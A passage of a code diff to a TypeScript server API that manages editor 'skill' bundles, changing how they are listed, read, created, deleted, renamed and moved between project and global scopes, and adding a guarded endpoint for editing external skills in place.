+ // Global provenance (store retirement): seeded runtime skills + global
+ // imports record `~/.ok/skills-lock.json` — surface origin + Modified
+ // exactly like project entries. No `revertable` (no user shadow repo).
+ const globalLock = readSkillsLock(join(skillsHome, ...SKILLS_LOCK_REL));
+ const globalAliases = scanHostRootAliases(skillsHome, 'global');
+ const globalAliasRoots = aliasedSourceRoots(globalAliases, 'global');
+ // Global mirrors project: IN-PLACE wins a name collision — a same-name
+ // store dir is a legacy resident awaiting migration, not the identity.
+ const globalInPlaceNames = new Set(scanGlobalInPlaceSkills(skillsHome).map((s) => s.name));
+ globalSkills.skills = globalSkills.skills.filter((s) => !globalInPlaceNames.has(s.name));
+ // Same name-keyed-ledger rule as the project tier: lock + placement state
+ // binds to the by-name default row, the rest read as untracked.
+ const globalNameSeen = new Set<string>();
+ const globalInPlace = scanGlobalInPlaceSkills(skillsHome).map((s) => {
+ const tracked = !globalNameSeen.has(s.name);
+ globalNameSeen.add(s.name);
+ const placementsForRow = tracked ? globalPlacements[s.name] : undefined;
+ return {
+ name: s.name,
+ ...(s.description ? { description: s.description } : {}),
+ scope: 'global' as const,
+ path: `${s.dir}/SKILL.md`,
+ absolutePath: resolve(skillsHome, s.dir, 'SKILL.md'),
+ installed: true,
+ hosts: [...s.hosts],
+ installableEditors: globalInstallableEditors,
+ ...(s.linkedHosts.length > 0 ? { symlinkedHosts: [...s.linkedHosts] } : {}),
+ ...(Object.keys(globalAliases).length > 0 ? { hostAliases: globalAliases } : {}),
+ ...(s.conflictHosts.length > 0 ? { conflictHosts: [...s.conflictHosts] } : {}),
+ ...(() => {
+ const f = placementFlags(
+ skillsHome,
+ dropAliased(placementsForRow, globalAliasRoots),
+ resolve(skillsHome, s.dir),
+ );
+ return f.drift.length > 0 ? { driftPaths: f.drift } : {};
+ })(),
+ ...(() => {
+ const custom = dropAliased(placementsForRow, globalAliasRoots).filter(
+ (cp) => !underRoots(cp.path, stdRootsGlobal),
+ );
+ return custom.length
+ ? { customPlacements: custom.map((cp) => ({ path: cp.path, mode: cp.mode })) }
+ : {};
+ })(),
+ ...(effectiveInstallMode('global', s.name, s) === 'link' ? { linkMode: true } : {}),
+ ...(isInternalBundleSkillName(s.name) ? { managed: true as const } : {}),
+ ...(() => {
+ if (!tracked) return {};
+ // Built-ins have no stored lockfile entry — synthesize their
+ // skills.sh origin (repo link + manual update path).
+ const entry = globalLock.skills[s.name] ?? synthBuiltinLockEntry(skillsHome, s.name);
+ if (!entry) return {};
+ return {
+ origin: skillOrigin(entry),
+ ...(entry.localHash !== undefined && s.contentHash !== entry.localHash
+ ? { modified: true }
+ : {}),
+ };
+ })(),
+ };
+ });
+ // Append OK's built-in skills (read from their on-disk editor
+ // projections, e.g. `.claude/skills/<name>/`) as managed, read-only
+ // entries, unless a real authored skill of the same name already exists
+ // in that scope (the reserved-name gate normally prevents this, but a
+ // pre-existing one wins to avoid a duplicate row). Both are needed because
+ // the detected-skills scan filters OK's reserved `open-knowledge*` names,
+ // so without this surfacing the built-ins would be invisible.
+ const inPlaceNamesEarly = new Set(inPlace.map((e) => e.name));
+ const projectBuiltin =
+ projectDir &&
+ !project.skills.some((s) => s.name === BUILTIN_PROJECT_SKILL_NAME) &&
+ !inPlaceNamesEarly.has(BUILTIN_PROJECT_SKILL_NAME)
+ ? builtinSkillListEntry(projectDir, BUILTIN_PROJECT_SKILL_NAME, 'project')
+ : null;
+ // The user-global built-ins (`open-knowledge-discovery`,
+ // `open-knowledge-write-skill`), force-installed under `<home>/.{host}/skills`
+ // and reclaimed on launch.
+ const globalInPlaceNamesEarly = new Set(globalInPlace.map((e) => e.name));
+ const globalBuiltins = USER_GLOBAL_BUNDLE_IDS.map((id) => BUNDLE_SKILL_NAME[id])
+ .filter(
+ (name) =>
+ !globalSkills.skills.some((s) => s.name === name) &&
+ !globalInPlaceNamesEarly.has(name),
+ )
+ .map((name) => builtinSkillListEntry(skillsHome, name, 'global'))
+ .filter((e): e is NonNullable<typeof e> => e !== null);
+ const inPlaceNames = new Set(inPlace.map((e) => e.name));
const enriched = {
skills: [
- ...enrich(project, projectInstalled),
- ...enrich(globalSkills, globalInstalled),
- ...(builtin ? [builtin] : []),
+ ...enrich(project, projectInstalled, true).filter((e) => !inPlaceNames.has(e.name)),
+ ...inPlace,
+ ...enrich(globalSkills, globalInstalled, false),
+ ...globalInPlace,
+ ...(projectBuiltin ? [projectBuiltin] : []),
+ ...globalBuiltins,
],
truncated: project.truncated || globalSkills.truncated,
};
@@ -16265,75 +17616,6 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
{ handler: 'skills-list', method: 'GET', skipBodyParse: true },
);
- // ─── `/api/skills/management` — project-managed opt-in (the import gate) ──────
- // GET → { managed: bool | null (undecided), importable: count of non-`.ok`
- // editor skills an import would adopt }. PUT { manageEditorSkills } records
- // the per-machine decision; enabling runs the import sweep
- // (`reconcileSkillInstalls`). Backs the in-app prompt; `ok skills manage` is
- // the headless sibling.
- const SkillsManagementSuccessSchema = z.object({
- managed: z.boolean().nullable(),
- importable: z.number().int().nonnegative(),
- });
- const skillsManagementState = () => ({
- managed: projectDir ? (readSkillManagement(projectDir)?.manageEditorSkills ?? null) : null,
- importable: projectDir
- ? countImportableEditorSkills({ projectDir, skillsRoot: resolveSkillsRoot('project') })
- : 0,
- });
-
- const handleSkillsManagementGet = withValidation(
- EmptyRequestSchema,
- async (_req, res) => {
- if (!projectDir) {
- errorResponse(res, 400, 'urn:ok:error:invalid-request', 'No project root resolved.', {
- handler: 'skills-management-get',
- detail: 'NO_PROJECT_ROOT',
- });
- return;
- }
- successResponse(res, 200, SkillsManagementSuccessSchema, skillsManagementState(), {
- handler: 'skills-management-get',
- });
- },
- { handler: 'skills-management-get', method: 'GET', skipBodyParse: true },
- );
-
- const handleSkillsManagementPut = withValidation(
- z.object({ manageEditorSkills: z.boolean() }),
- async (_req, res, body) => {
- if (!projectDir) {
- errorResponse(res, 400, 'urn:ok:error:invalid-request', 'No project root resolved.', {
- handler: 'skills-management-put',
- detail: 'NO_PROJECT_ROOT',
- });
- return;
- }
- await writeSkillManagement(projectDir, {
- manageEditorSkills: body.manageEditorSkills,
- surface: 'ui',
- });
- // Enabling flips the project to OK-managed → run the import sweep now so
- // existing editor skills are adopted immediately (not just on next boot).
- if (body.manageEditorSkills) {
- const r = await reconcileSkillInstalls({
- projectDir,
- skillsRoot: resolveSkillsRoot('project'),
- });
- if (r.adopted.length + r.collided.length > 0) signalChannel?.('files');
- }
- successResponse(res, 200, SkillsManagementSuccessSchema, skillsManagementState(), {
- handler: 'skills-management-put',
- });
- },
- { handler: 'skills-management-put', method: 'PUT' },
- );
-
- const handleSkillsManagement = methodRouter(
- { GET: handleSkillsManagementGet, PUT: handleSkillsManagementPut },
- { handler: 'skills-management' },
- );
-
const handleSkillGet = withValidation(
EmptyRequestSchema,
async (req, res) => {
@@ -16344,11 +17626,16 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
const scope = parseSkillScope(url.searchParams.get('scope'), res, 'skill-get');
if (scope === null) return;
- // The built-in `open-knowledge` project skill lives in the editor host
- // dirs, not `.ok/skills`, so serve its on-disk installed copy read-only
- // so the Skills UI can open + display exactly what agents load.
- if (name === BUILTIN_PROJECT_SKILL_NAME && scope === 'project') {
- const builtin = resolveBuiltinProjectSkillDir();
+ // The built-in `open-knowledge*` skills live in the editor host dirs,
+ // not `.ok/skills`, so serve their on-disk installed copy read-only so
+ // the Skills UI can open + display exactly what agents load. The project
+ // built-in resolves under the project root, the user-global ones (served
+ // at `scope: 'global'`) under `<home>`.
+ if (isInternalBundleSkillName(name)) {
+ const base = scope === 'global' ? skillsHome : projectDir;
+ const builtin = base
+ ? resolveBuiltinSkillDir(base, name, url.searchParams.get('host') ?? undefined)
+ : null;
if (builtin) {
const { frontmatter, body } = parseFrontmatterDoc(
await readFile(builtin.skillMd, 'utf-8'),
@@ -16377,16 +17664,21 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
return;
}
}
- const skillsRoot = resolveSkillsRoot(scope);
-
- const skillMd = resolve(skillsRoot, name, 'SKILL.md');
- if (!existsSync(skillMd)) {
+ // Optional host: which same-named bundle to read. Omitted resolves to
+ // the by-name default, so existing callers are unaffected.
+ const host = url.searchParams.get('host') ?? undefined;
+ const skillDirAbs = resolveSkillDirForRead(scope, name, host);
+ if (skillDirAbs === null) {
errorResponse(res, 404, 'urn:ok:error:not-found', 'Skill not found.', {
handler: 'skill-get',
- detail: `Skill "${name}" not found in ${scope} scope.`,
+ detail:
+ host === undefined
+ ? `Skill "${name}" not found in ${scope} scope.`
+ : `No skill "${name}" (${scope}) in ${host}.`,
});
return;
}
+ const skillMd = resolve(skillDirAbs, 'SKILL.md');
const { frontmatter, body } = parseFrontmatterDoc(await readFile(skillMd, 'utf-8'));
successResponse(
res,
@@ -16408,7 +17700,7 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
body,
// Bundled files (scripts/, reference/, assets) inlined as read-only
// text so the editor can browse a skill as the folder it is.
- files: readSkillBundledFiles(resolve(skillsRoot, name)),
+ files: readSkillBundledFiles(skillDirAbs),
},
},
{ handler: 'skill-get' },
@@ -16423,6 +17715,28 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
{ handler: 'skill-get', method: 'GET', skipBodyParse: true },
);
+ async function seedSkillDerivedViews(docName: string, markdown: string): Promise<void> {
+ if (!derivedDocumentIndex || isLinkIndexExcludedDoc(docName)) return;
+ // Refresh the content-filter's in-place skill allow-list FIRST. The index
+ // admits a doc via `contentFilter.isExcluded`, and a skill dir only enters
+ // that allow-list on `rebuildIgnorePatterns()` — which an API write does not
+ // otherwise trigger. So a just-created skill was judged excluded, and the
+ // seed DELETED it from the index instead of indexing it: its links never got
+ // extracted and nothing pointed at its references until an unrelated rescan.
+ if (contentFilter) {
+ try {
+ await contentFilter.rebuildIgnorePatterns();
+ } catch {
+ // Fail-soft, matching the watcher's own rebuild: a stale allow-list
+ // costs this doc its links until the next rescan, not the write.
+ }
+ }
+ // Best-effort like every other derived-index mutation: the skill is already
+ // on disk and committed by now, so a shutdown-time index error must not turn
+ // a successful write into a 500 the caller retries.
+ await recordDerivedDocumentBestEffort(docName, markdown, 'skill-put');
+ }
+
const handleSkillPut = withValidation(
SkillPutRequestSchema,
async (_req, res, body) => {
@@ -16457,19 +17771,76 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
return;
}
- const skillsRoot = resolveSkillsRoot(body.scope);
- const filePath = resolve(skillsRoot, body.name, 'SKILL.md');
- // `created` reflects pre-write disk state; the file lands via the
- // managed-artifact persistence branch after the transact below.
- const created = !existsSync(filePath);
- // Path is reported relative to the skills root (`<name>/SKILL.md`),
- // matching the prior `applySkillWrite` contract.
- const relPath = relative(skillsRoot, filePath).split(/[\\/]/).filter(Boolean).join('/');
- // Project skills are content docs: route the write through the content
- // doc (`.ok/skills/<name>/SKILL`), same paired-write path as
- // agent-write-md, so it persists via the content pipeline. Global
- // skills keep the dedicated managed-artifact doc.
- const docName = skillLiveDocName(body.scope, body.name);
+ const putBase = body.scope === 'project' ? contentDir : skillsHome;
+ const existingAbs = resolveSkillDirForRead(body.scope, body.name);
+ if (existingAbs === null) {
+ // CREATE (store retirement): a NEW skill is born IN-PLACE at the
+ // scope's default skill home — versioned, listed, and read at its
+ // real path from day one; the store gains no new residents. Same
+ // fs-direct spine as import (the live re-scan admits the new dir,
+ // after which it IS a content doc).
+ const homeRel = resolveDefaultSkillHomeRel(putBase, body.scope);
+ const wr = applySkillWrite({
+ skillsRoot: resolve(putBase, homeRel),
+ name: body.name,
+ body: typeof body.body === 'string' ? body.body : '',
+ frontmatter: {
+ name: body.frontmatter.name,
+ description: body.frontmatter.description,
+ },
+ });
+ if (!wr.ok) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Invalid skill request.', {
+ handler: 'skill-put',
+ detail: wr.error.code,
+ cause: new Error(wr.error.message),
+ });
+ return;
+ }
+ if (body.scope === 'project') {
+ // Attribute under the skill's CONTENT-DOC name (`<dir>/SKILL`), the
+ // key `/api/history` filters contributors on — an EDIT records it via
+ // its content-doc write, but a fs-direct CREATE records only what we
+ // pass here. Passing the bare dir (`<dir>`) meant the create's commit
+ // failed the OkActor match and never showed in the skill's history
+ // (so the created version couldn't be restored to), even though the
+ // commit itself is a reachable ancestor of every edit.
+ attributeOkArtifactWrite(
+ actor,
+ `${homeRel}/${body.name}/SKILL`,
+ `skill-create: ${homeRel}/${body.name}/SKILL.md`,
+ );
+ await commitOkArtifactWrite('skill-put');
+ }
+ await seedSkillDerivedViews(
+ body.scope === 'project'
+ ? `${homeRel}/${body.name}/SKILL`
+ : skillLiveDocName('global', body.name),
+ composed.content,
+ );
+ signalChannel?.('files');
+ successResponse(
+ res,
+ 200,
+ SkillPutSuccessSchema,
+ {
+ path: `${homeRel}/${body.name}/SKILL.md`,
+ created: true,
+ warnings: [...composed.warnings, ...wr.warnings],
+ },
+ { handler: 'skill-put' },
+ );
+ return;
+ }
+ // EDIT — write through the skill's REAL doc: an in-place project
+ // skill's content doc lives at its editor-dir path; a store-backed one
+ // keeps `.ok/skills/<name>/SKILL`; a global skill keeps the managed
+ // doc (it resolves store-or-native itself).
+ const created = false;
+ const dirRel = relative(putBase, existingAbs).split(sep).join('/');
+ const relPath = `${dirRel}/SKILL.md`;
+ const docName =
+ body.scope === 'project' ? `${dirRel}/SKILL` : skillLiveDocName(body.scope, body.name);
// Refuse if the content doc is mid-conflict — same gate as the sibling
// content-write handlers (a project SKILL.md is a CRDT content doc).
@@ -16495,6 +17866,9 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
// Force the debounced store so the file is on disk before the shadow
// commit git-adds it. Surfaces a swallowed disk failure as an error.
+ // On CREATE the doc is brand-new, so its store debounce isn't scheduled
+ // at this sync point -- `force` waits for it so SKILL.md is durable
+ // before we respond (a fast create->rename must not 404 on `existsSync`).
const flushOutcome = await flushDiskAndDetectOutcome(docName);
if (flushOutcome?.kind === 'failure') {
respondPersistenceFailure(res, flushOutcome.failure, 'skill-put');
@@ -16516,6 +17890,14 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
);
await commitOkArtifactWrite('skill-put');
}
+ // Seed the derived views from the bytes we just wrote. The live-derived
+ // index refreshes on a debounce after a change hook, which an API write
+ // like this one does not reliably reach — so a skill written purely
+ // through the API could sit unindexed, its SKILL.md links producing
+ // neither a backlink nor a dead link. Same synchronous refresh the lint
+ // path does, and idempotent: any later debounced pass re-applies the
+ // same bytes.
+ await seedSkillDerivedViews(docName, composed.content);
signalChannel?.('files');
successResponse(
res,
@@ -16534,6 +17916,41 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
{ handler: 'skill-put', method: 'PUT' },
);
+ /**
+ * The skill's EFFECTIVE root for lifecycle verbs (delete/rename/move):
+ * the parent of its real dir (in-place-first via `resolveSkillDirForRead`),
+ * falling back to the legacy store root when the skill doesn't exist (the
+ * 404 path stays a 404). Also removes same-hash copies/links across the
+ * other roots first (lossless-guarded) so a lifecycle verb on the canonical
+ * never strands orphan occurrences.
+ */
+ function effectiveSkillRoot(
+ scope: 'project' | 'global',
+ name: string,
+ ): { root: string; dirRel: string; realDir: string | null } {
+ const base = scope === 'project' ? contentDir : skillsHome;
+ const realDir = resolveSkillDirForRead(scope, name);
+ const root = realDir !== null ? dirname(realDir) : resolveSkillsRoot(scope);
+ const dirRel =
+ realDir !== null ? relative(base, realDir).split(sep).join('/') : `.ok/skills/${name}`;
+ return { root, dirRel, realDir };
+ }
+ function sweepSkillOccurrences(scope: 'project' | 'global', name: string): void {
+ const base = scope === 'project' ? contentDir : skillsHome;
+ const inPlace = (
+ scope === 'project' ? scanInPlaceSkills(contentDir) : scanGlobalInPlaceSkills(skillsHome)
+ ).find((sk) => sk.name === name);
+ if (!inPlace) return;
+ removeInPlaceSkillCopies({
+ canonicalAbs: resolve(base, inPlace.dir),
+ canonicalHash: inPlace.contentHash,
+ name,
+ cwd: base,
+ targets: inPlace.hosts.filter((h): h is SkillHostId => isSkillInstallTarget(h)),
+ roots: skillProjectionRoots(scope),
+ });
+ }
+
const handleSkillDelete = withValidation(
EmptyRequestSchema,
async (req, res) => {
@@ -16541,26 +17958,13 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
const url = new URL(req.url ?? '', 'http://localhost');
const name = url.searchParams.get('name') ?? '';
if (!validateSkillName(name, res, 'skill-delete')) return;
- if (rejectReservedBuiltinSkill(name, res, 'skill-delete')) return;
const scope = parseSkillScope(url.searchParams.get('scope'), res, 'skill-delete');
if (scope === null) return;
- const skillsRoot = resolveSkillsRoot(scope);
+ const { root: skillsRoot, dirRel } = effectiveSkillRoot(scope, name);
// DELETE is query-param transport — read identity + summary from the
// query string into a synthetic body for `extractActorIdentity`.
- const sp = url.searchParams;
- const actor = extractActorIdentity(
- {
- agentId: sp.get('agentId') ?? undefined,
- agentName: sp.get('agentName') ?? undefined,
- colorSeed: sp.get('colorSeed') ?? undefined,
- clientName: sp.get('clientName') ?? undefined,
- clientVersion: sp.get('clientVersion') ?? undefined,
- label: sp.get('label') ?? undefined,
- summary: sp.get('summary') ?? undefined,
- },
- getPrincipal,
- );
+ const actor = extractActorIdentityFromQuery(url, getPrincipal);
if (actor.kind === 'invalid-summary') {
errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Summary must be a string.', {
handler: 'skill-delete',
@@ -16574,9 +17978,37 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
// NOT `__skill__/project/<name>` — closing the wrong doc leaves the open
// content doc to resurrect the just-deleted source, which is what made
// the project↔global round-trip drop the skill. No-op when unopened.
- await captureAndCloseDocuments([skillLiveDocName(scope, name)], 'deleted-upstream');
+ await captureAndCloseDocuments(
+ scope === 'project'
+ ? [...new Set([`${dirRel}/SKILL`, skillLiveDocName(scope, name)])]
+ : [skillLiveDocName(scope, name)],
+ 'deleted-upstream',
+ );
+ // Same-hash copies/links across the other roots go first (lossless-
+ // guarded) — deleting the canonical must not strand them.
+ sweepSkillOccurrences(scope, name);
const result = applySkillDelete({ skillsRoot, name });
+ // Delete is TOTAL — the skill dies everywhere (locked decision). When
+ // the canonical lived in a native dir, a legacy `.ok/skills` store
+ // resident of the same name is a placement of the SAME skill (the
+ // in-place-wins list rule) — leaving it resurrected the row as a
+ // zombie. Remove it too; a failure surfaces as a warning, never a
+ // silent survivor.
+ const storeRoot = resolveSkillsRoot(scope);
+ if (
+ result.ok &&
+ storeRoot !== skillsRoot &&
+ existsSync(resolve(storeRoot, name, 'SKILL.md'))
+ ) {
+ const storeSweep = applySkillDelete({ skillsRoot: storeRoot, name });
+ if (!storeSweep.ok) {
+ log.warn(
+ { name, scope, detail: storeSweep.error.code },
+ '[skill-delete] legacy store resident survived the delete',
+ );
+ }
+ }
if (!result.ok) {
const status = result.error.code === 'UNLINK_FAILED' ? 500 : 400;
errorResponse(
@@ -16596,11 +18028,7 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
// skills are unversioned (no project shadow repo), so skip it for them.
if (result.existed) {
if (scope === 'project') {
- attributeOkArtifactWrite(
- actor,
- okArtifactKey('skill', '', name),
- `skill-delete: ${result.path}`,
- );
+ attributeOkArtifactWrite(actor, dirRel, `skill-delete: ${dirRel}`);
await commitOkArtifactWrite('skill-delete');
}
signalChannel?.('files');
@@ -16612,7 +18040,7 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
// already succeeded. Global skills uninstall from the user-global host
// dirs + user marker (`<home>`); project skills from the project's.
const uninstallBase = skillInstallBase(scope);
- if (uninstallBase) await uninstallSkillFromHostDirs(uninstallBase, name);
+ if (uninstallBase) await uninstallSkillFromHostDirs(uninstallBase, name, scope);
successResponse(
res,
200,
@@ -16646,17 +18074,72 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
}
if (!validateSkillName(body.fromName, res, 'skill-move')) return;
if (!validateSkillName(body.toName, res, 'skill-move')) return;
- if (rejectReservedBuiltinSkill(body.fromName, res, 'skill-move')) return;
if (rejectReservedBuiltinSkill(body.toName, res, 'skill-move')) return;
- const skillsRoot = resolveSkillsRoot(body.scope);
+ const { root: skillsRoot, dirRel: fromDirRel } = effectiveSkillRoot(
+ body.scope,
+ body.fromName,
+ );
+ // A same-name occurrence in ANY root blocks the rename (registry-wide),
+ // not just the rename root — otherwise the renamed skill forks.
+ if (resolveSkillDirForRead(body.scope, body.toName) !== null) {
+ errorResponse(
+ res,
+ 409,
+ 'urn:ok:error:doc-already-exists',
+ `A skill named "${body.toName}" already exists.`,
+ { handler: 'skill-move' },
+ );
+ return;
+ }
+
+ // Capture the FULL editor host set BEFORE any teardown — the sweep below
+ // removes the old-name copies, and the install marker alone under-reports
+ // an in-place skill's hosts (created/imported in place, or an older
+ // marker). Union marker + scan + folder-symlink alias audience so the
+ // rename re-projects the NEW name into every editor the old name occupied;
+ // otherwise it lands only on the canonical root and silently drops
+ // .claude/.cursor/etc — leaving a stale copy of the old name in the other
+ // editors (, the same class as's scope move).
+ const moveBase = skillInstallBase(body.scope);
+ const priorInstall = moveBase
+ ? readInstalledSkills(moveBase).skills[body.fromName]
+ : undefined;
+ const fromScanBase = body.scope === 'project' ? contentDir : skillsHome;
+ const renameScanEntry = (
+ body.scope === 'project'
+ ? scanInPlaceSkills(contentDir)
+ : scanGlobalInPlaceSkills(skillsHome)
+ ).find((sk) => sk.name === body.fromName);
+ const renameCanonicalRootRel = renameScanEntry ? dirname(renameScanEntry.dir) : null;
+ const renameAliasAudience =
+ renameCanonicalRootRel !== null
+ ? Object.entries(scanHostRootAliases(fromScanBase, body.scope))
+ .filter(([, target]) => target === renameCanonicalRootRel)
+ .map(([editor]) => editor)
+ : [];
+ const priorHosts = [
+ ...new Set([
+ ...(priorInstall ? resolvedHosts(priorInstall.hosts) : []),
+ ...(renameScanEntry ? resolvedHosts(renameScanEntry.hosts) : []),
+ ...resolvedHosts(renameAliasAudience),
+ ]),
+ ];
// Tear down the live source skill doc (if open) BEFORE the git-mv
// relocates its dir — otherwise its persistence branch would re-store at
// the now-stale fromName path, resurrecting the moved-away skill. Project
// skills are content docs, not `__skill__/project/<name>`. The
// destination doc loads fresh from disk on next open.
- await captureAndCloseDocuments([skillLiveDocName(body.scope, body.fromName)], 'renamed');
+ await captureAndCloseDocuments(
+ body.scope === 'project'
+ ? [...new Set([`${fromDirRel}/SKILL`, skillLiveDocName(body.scope, body.fromName)])]
+ : [skillLiveDocName(body.scope, body.fromName)],
+ 'renamed',
+ );
+ // Old-name copies/links across other roots are removed FIRST (lossless-
+ // guarded) — a rename must not leave orphan occurrences of the old name.
+ sweepSkillOccurrences(body.scope, body.fromName);
const result = await applySkillMove({
skillsRoot,
fromName: body.fromName,
@@ -16728,16 +18211,46 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
});
if (!rewrite.ok) contentEditError = rewrite.error;
- // A move git-mv's the dir on disk and rewrites only SKILL.md fs-direct,
- // so the relocated SKILL.md + every `.md` reference are absent from the
- // link/tag graph at their new doc names until a manual rescan. For a
- // project skill, re-drive each relocated `.md` content doc through the
- // CRDT content path so it re-indexes, and drop the stale old-name
- // entries. Global skills live outside the project graph (not content
+ // Carry inbound `/fromName` refs, the way a document rename carries its
+ // inbound links. Runs BEFORE the reindex below so the moved skill's own
+ // re-read picks up the rewritten bytes in one pass. Never fatal: the
+ // rename already landed on disk, and failing here would strand it.
+ let refRewrites: SkillRefRewrite[] = [];
+ if (!contentEditError) {
+ try {
+ refRewrites = rewriteSkillRefsAcrossScope({
+ base: body.scope === 'project' ? contentDir : skillsHome,
+ scope: body.scope,
+ fromName: body.fromName,
+ toName: body.toName,
+ });
+ } catch (err) {
+ getLogger('skill-move').warn(
+ { err, fromName: body.fromName, toName: body.toName },
+ 'skill-ref rewrite failed — rename succeeded, refs to the old name are left as authored',
+ );
+ }
+ }
+
+ // A move git-mv's the dir on disk and rewrites only SKILL.md fs-direct,
+ // so the relocated SKILL.md + every `.md` reference are absent from the
+ // link/tag graph at their new doc names until a manual rescan. For a
+ // project skill, re-drive each relocated `.md` content doc through the
+ // CRDT content path so it re-indexes, and drop the stale old-name
+ // entries. Global skills live outside the project graph (not content
// docs), so they have nothing to re-index.
if (body.scope === 'project' && !contentEditError) {
try {
+ // In-place skill admission is a registry ALLOW-LIST of exact bundle
+ // dirs, not a path prefix, and it only refreshes on an ignore-file
+ // rebuild. Until it learns the NEW dir, the destination doc is
+ // "excluded" — and an unadmitted rename target makes the index drop
+ // the old entry AND the new one, so the skill falls out of tags,
+ // backlinks and search entirely. Refresh before re-indexing, not
+ // after, or we re-index against the pre-rename world.
+ await contentFilter?.rebuildIgnorePatterns();
await reindexMovedProjectSkillDocs(skillsRoot, body.fromName, body.toName);
+ await reindexRewrittenSkillRefDocs(refRewrites, body.toName);
} catch (err) {
getLogger('skill-move').warn(
{ err, fromName: body.fromName, toName: body.toName },
@@ -16761,23 +18274,49 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
await commitOkArtifactWrite('skill-move');
}
+ const renamedLocalHash = localSkillHash(skillsRoot, body.toName);
+ const renamedBaselineRef =
+ body.scope === 'project'
+ ? await shadowHeadSha(artifactWriterId(actor), toKeyPath)
+ : undefined;
+ await rekeySkillLockEntry(body.scope, body.fromName, body.toName, {
+ localHash: renamedLocalHash,
+ ...(body.scope === 'project' ? { baselineRef: renamedBaselineRef } : {}),
+ });
+
// Carry install state across the rename. The source dir is now at
- // `toName`; if `fromName` was installed, move its projection + marker
- // too — otherwise the old `fromName` host-dir copy is orphaned and the
- // marker keeps a stale `fromName` key (reproject/reclaim then find no
- // source there and silently demote it to zero hosts). Mirrors how
- // delete folds in uninstall. Scope-aware base (project vs global).
- const moveBase = skillInstallBase(body.scope);
+ // `toName`; re-project the new name into every editor the old name
+ // occupied (`priorHosts`, captured PRE-sweep from marker ∪ scan ∪ alias
+ // audience), drop the stale `fromName` marker, and record the `toName`
+ // marker. NOT gated on a marker existing — a scan-only in-place skill has
+ // none but still occupies real editor dirs, and without this the rename
+ // lands only on the canonical root and strands the old name elsewhere
+ //. Mirrors how delete folds in uninstall.
if (moveBase) {
- const prior = await removeSkillInstall(moveBase, body.fromName);
- if (prior) {
- const priorHosts = resolvedHosts(prior.hosts);
- reverseProjectSkill(body.fromName, moveBase, priorHosts);
- const movedDir = resolve(skillsRoot, body.toName);
- const newHosts = projectSkill(movedDir, body.toName, moveBase, priorHosts);
+ await removeSkillInstall(moveBase, body.fromName);
+ reverseProjectSkill(
+ body.fromName,
+ moveBase,
+ priorHosts,
+ skillProjectionRoots(body.scope),
+ );
+ const movedDir = resolve(skillsRoot, body.toName);
+ if (priorHosts.length > 0) {
+ const newHosts = projectSkill(
+ movedDir,
+ body.toName,
+ moveBase,
+ priorHosts,
+ projectionModeFor(body.scope, body.toName),
+ skillProjectionRoots(body.scope),
+ );
await recordSkillInstall(moveBase, body.toName, {
- ...prior,
+ ...priorInstall,
+ scope: body.scope,
hosts: newHosts,
+ scripts:
+ priorInstall?.scripts ?? validateSkillForInstall(movedDir, body.toName).hasScripts,
+ installedAt: priorInstall?.installedAt ?? new Date().toISOString(),
});
}
}
@@ -16819,6 +18358,467 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
{ handler: 'skill-move', method: 'POST' },
);
+ // `POST /api/skill/edit-external` — register a detected (unmanaged) skill for
+ // in-place editing. The body carries the skill's own enumerated dir
+ // (`CatalogSkill.home`); we realpath it, confirm it holds a SKILL.md, and
+ // register it so the returned `__extskill__/<name>` doc autosaves back to the
+ // real harness file (containment-guarded in `external-skill-registry.ts`). No
+ // copy, no symlink, no `.ok/` — that's the Manage upgrade, not this. Loopback-
+ // gated (it arms an out-of-contentDir write path). Exempt from the attribution
+ // + conflict-gate sweeps: it authors no CRDT content (the writes happen later
+ // through persistence, classified `file-system`), it only arms the registry.
+ const handleSkillEditExternal = withValidation(
+ SkillEditExternalRequestSchema,
+ async (_req, res, body) => {
+ const { name, home } = body;
+ if (!validateSkillName(name, res, 'skill-edit-external')) return;
+ let realDir: string;
+ try {
+ realDir = realpathSync(home);
+ } catch {
+ errorResponse(res, 404, 'urn:ok:error:not-found', 'Skill directory not found.', {
+ handler: 'skill-edit-external',
+ detail: 'HOME_NOT_FOUND',
+ });
+ return;
+ }
+ if (!statSync(realDir).isDirectory() || !existsSync(resolve(realDir, 'SKILL.md'))) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Not a skill directory (no SKILL.md).',
+ { handler: 'skill-edit-external' },
+ );
+ return;
+ }
+ registerExternalSkill(name, realDir);
+ successResponse(
+ res,
+ 200,
+ SkillEditExternalSuccessSchema,
+ { docName: externalSkillLiveDocName(name) },
+ { handler: 'skill-edit-external' },
+ );
+ },
+ {
+ handler: 'skill-edit-external',
+ method: 'POST',
+ preBodyGate: (req, res) => checkLocalOpSecurity(req, res, { handler: 'skill-edit-external' }),
+ },
+ );
+
+ // `POST /api/skill/move-scope` — relocate a skill across scopes (project ↔
+ // global), server-side atomic. Replaces the old client copy+delete dance,
+ // which wrote the destination through the CRDT content-doc path while a stale
+ // live doc was open — the bridge MERGED old+new instead of replacing, so a
+ // global↔project round-trip DOUBLED the SKILL.md body. Here the whole bundle
+ // dir is copied verbatim (binaries included) with both live docs closed, the
+ // source is removed, and install projections are transferred — one request,
+ // no merge window.
+ const handleSkillMoveScope = withValidation(
+ SkillMoveScopeRequestSchema,
+ async (_req, res, body) => {
+ try {
+ const actor = extractActorIdentity(
+ body as unknown as Record<string, unknown>,
+ getPrincipal,
+ );
+ if (actor.kind === 'invalid-summary') {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Summary must be a string.', {
